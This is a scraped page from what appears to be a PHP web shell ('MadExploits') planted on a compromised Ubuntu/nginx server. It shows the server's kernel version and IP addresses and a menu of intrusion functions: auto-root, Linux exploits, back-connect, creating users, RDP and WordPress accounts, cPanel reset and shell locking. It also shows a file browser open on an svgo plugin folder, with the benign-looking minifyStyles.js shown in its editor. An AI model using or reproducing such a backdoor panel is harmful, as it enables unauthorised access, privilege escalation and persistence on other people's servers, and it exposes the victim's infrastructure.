Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
svgo /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
_collections.js
57.03
KB
-rw-r--r--
_path.js
30.91
KB
-rw-r--r--
_transforms.js
9.97
KB
-rw-r--r--
addAttributesToSVGElement.js
2.02
KB
-rw-r--r--
addClassesToSVGElement.js
1.07
KB
-rw-r--r--
cleanupAttrs.js
1.28
KB
-rw-r--r--
cleanupEnableBackground.js
2.25
KB
-rw-r--r--
cleanupIDs.js
6.51
KB
-rw-r--r--
cleanupListOfValues.js
3.52
KB
-rw-r--r--
cleanupNumericValues.js
2.5
KB
-rw-r--r--
collapseGroups.js
2.92
KB
-rw-r--r--
convertColors.js
3.58
KB
-rw-r--r--
convertPathData.js
30.01
KB
-rw-r--r--
convertShapeToPath.js
4.39
KB
-rw-r--r--
convertStyleToAttrs.js
4.1
KB
-rw-r--r--
convertTransform.js
10.62
KB
-rw-r--r--
inlineStyles.js
7.7
KB
-rw-r--r--
mergePaths.js
2.01
KB
-rw-r--r--
minifyStyles.js
3.97
KB
-rw-r--r--
moveElemsAttrsToGroup.js
3.31
KB
-rw-r--r--
moveGroupAttrsToElems.js
1.81
KB
-rw-r--r--
prefixIds.js
5.08
KB
-rw-r--r--
removeAttributesBySelector.js
1.87
KB
-rw-r--r--
removeAttrs.js
4.06
KB
-rw-r--r--
removeComments.js
508
B
-rw-r--r--
removeDesc.js
767
B
-rw-r--r--
removeDimensions.js
708
B
-rw-r--r--
removeDoctype.js
1.01
KB
-rw-r--r--
removeEditorsNSData.js
1.51
KB
-rw-r--r--
removeElementsByAttr.js
1.89
KB
-rw-r--r--
removeEmptyAttrs.js
509
B
-rw-r--r--
removeEmptyContainers.js
690
B
-rw-r--r--
removeEmptyText.js
1.1
KB
-rw-r--r--
removeHiddenElems.js
6.46
KB
-rw-r--r--
removeMetadata.js
392
B
-rw-r--r--
removeNonInheritableGroupAttrs...
945
B
-rw-r--r--
removeOffCanvasPaths.js
3.09
KB
-rw-r--r--
removeRasterImages.js
558
B
-rw-r--r--
removeScriptElement.js
423
B
-rw-r--r--
removeStyleElement.js
426
B
-rw-r--r--
removeTitle.js
411
B
-rw-r--r--
removeUnknownsAndDefaults.js
4.85
KB
-rw-r--r--
removeUnusedNS.js
2.33
KB
-rw-r--r--
removeUselessDefs.js
1.09
KB
-rw-r--r--
removeUselessStrokeAndFill.js
2.65
KB
-rw-r--r--
removeViewBox.js
1.11
KB
-rw-r--r--
removeXMLNS.js
591
B
-rw-r--r--
removeXMLProcInst.js
487
B
-rw-r--r--
reusePaths.js
6.33
KB
-rw-r--r--
sortAttrs.js
1.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : minifyStyles.js
'use strict'; exports.type = 'full'; exports.active = true; exports.description = 'minifies styles and removes unused styles based on usage data'; exports.params = { // ... CSSO options goes here // additional usage: { force: false, // force to use usage data even if it unsafe (document contains <script> or on* attributes) ids: true, classes: true, tags: true } }; var csso = require('csso'); /** * Minifies styles (<style> element + style attribute) using CSSO * * @author strarsis <strarsis@gmail.com> */ exports.fn = function(ast, options) { options = options || {}; var minifyOptionsForStylesheet = cloneObject(options); var minifyOptionsForAttribute = cloneObject(options); var elems = findStyleElems(ast); minifyOptionsForStylesheet.usage = collectUsageData(ast, options); minifyOptionsForAttribute.usage = null; elems.forEach(function(elem) { if (elem.isElem('style')) { // <style> element var styleCss = elem.content[0].text || elem.content[0].cdata || []; var DATA = styleCss.indexOf('>') >= 0 || styleCss.indexOf('<') >= 0 ? 'cdata' : 'text'; elem.content[0][DATA] = csso.minify(styleCss, minifyOptionsForStylesheet).css; } else { // style attribute var elemStyle = elem.attr('style').value; elem.attr('style').value = csso.minifyBlock(elemStyle, minifyOptionsForAttribute).css; } }); return ast; }; function cloneObject(obj) { var result = {}; for (var key in obj) { result[key] = obj[key]; } return result; } function findStyleElems(ast) { function walk(items, styles) { for (var i = 0; i < items.content.length; i++) { var item = items.content[i]; // go deeper if (item.content) { walk(item, styles); } if (item.isElem('style') && !item.isEmpty()) { styles.push(item); } else if (item.isElem() && item.hasAttr('style')) { styles.push(item); } } return styles; } return walk(ast, []); } function shouldFilter(options, name) { if ('usage' in options === false) { return true; } if (options.usage && name in options.usage === false) { return true; } return Boolean(options.usage && options.usage[name]); } function collectUsageData(ast, options) { function walk(items, usageData) { for (var i = 0; i < items.content.length; i++) { var item = items.content[i]; // go deeper if (item.content) { walk(item, usageData); } if (item.isElem('script')) { safe = false; } if (item.isElem()) { usageData.tags[item.elem] = true; if (item.hasAttr('id')) { usageData.ids[item.attr('id').value] = true; } if (item.hasAttr('class')) { item.attr('class').value.replace(/^\s+|\s+$/g, '').split(/\s+/).forEach(function(className) { usageData.classes[className] = true; }); } if (item.attrs && Object.keys(item.attrs).some(function(name) { return /^on/i.test(name); })) { safe = false; } } } return usageData; } var safe = true; var usageData = {}; var hasData = false; var rawData = walk(ast, { ids: Object.create(null), classes: Object.create(null), tags: Object.create(null) }); if (!safe && options.usage && options.usage.force) { safe = true; } for (var key in rawData) { if (shouldFilter(options, key)) { usageData[key] = Object.keys(rawData[key]); hasData = true; } } return safe && hasData ? usageData : null; }
Close